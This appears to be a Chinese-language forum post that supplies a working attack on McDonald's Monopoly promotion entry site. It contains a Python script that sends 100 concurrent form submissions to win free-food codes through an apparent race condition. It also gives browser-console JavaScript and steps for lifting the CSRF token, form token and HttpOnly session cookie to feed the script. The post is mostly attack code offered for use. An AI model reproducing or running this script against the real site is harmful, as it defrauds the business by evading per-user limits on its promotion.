麦当劳免费吃喝活动: 麦当劳联动大富翁免费吃喝 使用这个脚本就可以只需要填一次信息 不需要靠浏览器的降速来卡BUG (我失败了所以才写这个 )
先说原理
不想用脚本的也可以手动 我手动是全失败
Python脚本
#!/usr/bin/env python3
import argparse
import concurrent.futures as cf
import random
import string
import time
from typing import Dict, Any, Tuple
import requests
from urllib3.util.retry import Retry
from requests.adapters import HTTPAdapter
URL = "https://amoe.playatmcd.com/complete_your_game_code_request"
def build_session(sid: str, user_agent: str, referer: str) -> requests.Session:
"""Create a requests session with retries, headers, and cookie."""
s = requests.Session()
# Robust retry policy for transient errors
retry = Retry(
total=5,
connect=5,
read=5,
backoff_factor=0.5, # exponential backoff: 0.5, 1.0, 2.0, ...
status_forcelist=(429, 500, 502, 503, 504),
allowed_methods=frozenset(["GET", "POST", "HEAD", "OPTIONS"]),
raise_on_status=False,
)
adapter = HTTPAdapter(max_retries=retry, pool_connections=100, pool_maxsize=100)
s.mount("https://", adapter)
s.mount("http://", adapter)
# Browser-ish headers that actually matter for this POST
s.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh-TW;q=0.7,zh;q=0.6",
"Cache-Control": "no-cache",
"Pragma": "no-cache",
"Origin": "https://amoe.playatmcd.com",
"Referer": referer,
"Upgrade-Insecure-Requests": "1",
"User-Agent": user_agent,
# requests will set the correct Content-Type for form-encoded bodies,
# but we pin it here to match curl:
"Content-Type": "application/x-www-form-urlencoded",
})
# Cookie (sid)
s.cookies.set("sid", sid, domain="amoe.playatmcd.com", secure=True)
return s
def make_form(
csrf_token: str,
token: str,
first_name: str,
last_name: str,
suffix: str,
email: str,
address: str,
address2: str,
city: str,
state: str,
zip_code: str,
placeid: str,
suggested_placeid: str,
) -> Dict[str, Any]:
"""Payload matching your curl --data-raw."""
return {
"csrf_token": csrf_token,
"token": token,
"first_name": first_name,
"last_name": last_name,
"suffix": suffix,
"email": email,
"address": address,
"address2": address2,
"city": city,
"state": state,
"zip": zip_code,
"placeid": placeid,
"suggested_placeid": suggested_placeid,
}
def post_once(session: requests.Session, form: Dict[str, Any], timeout: float) -> Tuple[int, str]:
"""Fire one POST; return (status_code, short_text_snippet)."""
r = session.post(URL, data=form, timeout=timeout)
text = r.text
# Keep output compact
snippet = text.replace("\n", " ")[:200]
return r.status_code, snippet
def maybe_jitter(base_delay: float, jitter: float) -> None:
"""Sleep for base_delay ± jitter for gentler traffic profile."""
if base_delay <= 0 and jitter <= 0:
return
low = max(0.0, base_delay - jitter)
high = base_delay + jitter
time.sleep(random.uniform(low, high))
def main():
parser = argparse.ArgumentParser(description="Concurrent AMOE form submitter (requests + ThreadPoolExecutor)")
# Required tokens/cookie
parser.add_argument("--sid", required=True, help="Cookie sid=... from your browser session")
parser.add_argument("--csrf", required=True, help="csrf_token value")
parser.add_argument("--token", required=True, help="token query/value")
# Form fields (defaults filled from your curl)
parser.add_argument("--first-name", required=True, help="First name")
parser.add_argument("--last-name", required=True, help="Last name")
parser.add_argument("--suffix", default="None")
parser.add_argument("--email", required=True, help="Email address")
parser.add_argument("--address", required=True, help="Street address")
parser.add_argument("--address2", default="")
parser.add_argument("--city", required=True, help="City")
parser.add_argument("--state", required=True, help="State")
parser.add_argument("--zip", dest="zip_code", required=True, help="ZIP code")
parser.add_argument("--placeid", default="")
parser.add_argument("--suggested-placeid", required=True, help="suggested_placeid value")
# Client behavior
parser.add_argument("--user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36")
parser.add_argument("--threads", type=int, default=100, help="Max concurrent workers")
parser.add_argument("--count", type=int, default=100, help="Total submissions to send")
parser.add_argument("--timeout", type=float, default=20.0, help="Per-request timeout (seconds)")
parser.add_argument("--delay", type=float, default=0.0, help="Base delay between scheduling requests (seconds)")
parser.add_argument("--jitter", type=float, default=0.0, help="± jitter added to the base delay (seconds)")
args = parser.parse_args()
referer = "https://amoe.playatmcd.com/complete_your_game_code_request?token=" + args.token
session = build_session(sid=args.sid, user_agent=args.user_agent, referer=referer)
base_form = make_form(
csrf_token=args.csrf,
token=args.token,
first_name=args.first_name,
last_name=args.last_name,
suffix=args.suffix,
email=args.email,
address=args.address,
address2=args.address2,
city=args.city,
state=args.state,
zip_code=args.zip_code,
placeid=args.placeid,
suggested_placeid=args.suggested_placeid,
)
print(f"[i] Submitting {args.count} requests with up to {args.threads} concurrent workers...")
successes = 0
failures = 0
with cf.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = []
for i in range(args.count):
# Clone and optionally tweak email per request
form_i = dict(base_form)
form_i["email"] = args.email
futures.append(executor.submit(post_once, session, form_i, args.timeout))
# Stagger submissions slightly
maybe_jitter(args.delay, args.jitter)
for idx, fut in enumerate(cf.as_completed(futures), 1):
try:
status, snippet = fut.result()
ok = 200 <= status < 300
if ok and "Success" in snippet:
successes += 1
print(f"[{idx:03d}] ✓ {status} {snippet}")
else:
failures += 1
print(f"[{idx:03d}] ✗ {status} {snippet}")
except Exception as e:
failures += 1
print(f"[{idx:03d}] ✗ Exception: {e}")
print(f"\nDone. Success: {successes} Failures: {failures}")
if __name__ == "__main__":
main()
前置条件: 点开麦当劳网站 收OTP 手动打开网页 填写个人信息 完成地址验证
按钮应该只显示提交
按键盘F12 打开控制台(Console), 复制黏贴以下代码
var firstName = document.querySelector("#first_name").value
var lastName = document.querySelector("#last_name").value
var suffix = document.querySelector("#suffix").value
var email = document.querySelector("#email").value
var addressStreet = document.querySelector("#address").value
var addressStreet2 = document.querySelector("#address2").value
var city = document.querySelector("#city").value
var state = document.querySelector("#state").value
var zip = document.querySelector("#zip").value
var placeid = document.querySelector("#placeid").value
var suggestedPlaceid = document.querySelector("#suggested_placeid").value
var csrfToken = document.querySelector("input[name='csrf_token']").value
var token = document.querySelector("input[name='token']").value
// Generate python command based on above info
var pythonCommand = `python3 app.py --csrf "${csrfToken}" --token "${token}" --first-name "${firstName}" --last-name "${lastName}" --suffix "${suffix}" --email "${email}" --address "${addressStreet}" --address2 "${addressStreet2}" --city "${city}" --state "${state}" --zip "${zip}" --placeid "${placeid}" --suggested-placeid "${suggestedPlaceid}"`
console.log(pythonCommand)
输入代码的时候浏览器可能提示复制黏贴js代码的风险 按照要求输入确认后就能黏贴
执行完毕后会获得一串让你执行python脚本的代码
这串代码还缺少一个sid, 这个要自己从浏览器获取 (被加了http only)
同样在F12窗口 点Application → Cookies → 能看到一个sid 复制值 并且在前面的代码最后添加–sid 即可
执行完成效果:
带有success字样的就是成功 没有的就是失败
默认100线程100个请求 可以自己看脚本调整参数